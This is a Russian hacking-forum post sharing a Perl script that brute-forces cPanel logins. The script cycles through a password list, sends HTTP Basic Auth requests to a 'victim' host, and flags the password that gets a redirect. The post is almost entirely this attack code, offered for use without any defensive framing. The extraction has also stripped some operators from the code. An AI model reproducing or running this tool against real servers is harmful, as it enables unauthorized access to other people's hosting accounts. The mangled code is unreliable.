Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Хакерство и безопасность > Для новичков > Взлом паролей
CHAT Регистрация Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Взлом паролей Брутфорс, взлом хешей, статистика использования паролей.

Ответ
 
Опции темы
Старый 03.12.2010, 16:13   #1
MeTR
advanced 
 
Аватар для MeTR
 
Регистрация: 23.05.2010
Сообщений: 276
Вес репутации: 7 MeTR новичекMeTR новичек
Депозит: 0$
Вы сказали Спасибо: 62
Поблагодарили 96 раз(а) в 64 сообщениях
Брут cPanel на perl
PHP код:
#!/usr/bin/perl

use IO::Socket;
use 
LWP::Simple;
use 
MIME::Base64;

$host     $ARGV[0];
$user     $ARGV[1];
$port     $ARGV[2];
$list     $ARGV[3];
$file     $ARGV[4];
$url "http://".$host.":".$port;
if(@
ARGV 3){
print 
q(
###############################################################
#               Cpanel Password Brute Force Tool              #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
#-------------------------------------------------------------#
#    [Host] : victim Host             (simorgh-ev.com)        #
#    [User] : User Name               (demo)                  #
#    [PORT] : Port of Cpanel          (2082)                  #
#[list] : File Of password list   (list.txt)              #
#    [File] : file for save password  (password.txt)          #
#                                                             #
###############################################################
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);exit;}

headx();

$numstart  "-1";

sub headx() {
print 
q(
###############################################################
#              Cpanel Password Brute Force Tool               #
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);
open (PASSFILE"<$list") || die "[-] Can't open the List of password file !";
@
PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach 
my $P (@PASSWORDS) {
chomp $P;
$passwd $P;
print 
"
[~] Try Password : 
$passwd
"
;
&
brut;
};
}
sub brut() {
$authx encode_base64($user.":".$passwd);
print 
$authx;
my $sock IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host"PeerPort => "$port") || print "
[-] Can not connect to the host"
;
print 
$sock "GET / HTTP/1.1
"
;
print 
$sock "Authorization: Basic $authx
"
;
print 
$sock "Connection: Close

"
;
read  $sock$answer128;
close($sock);

if (
$answer =~ /Moved/) {
print 
"
[~] PASSWORD FOUND : 
$passwd
"
;
exit();
}


MeTR вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 21:42.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru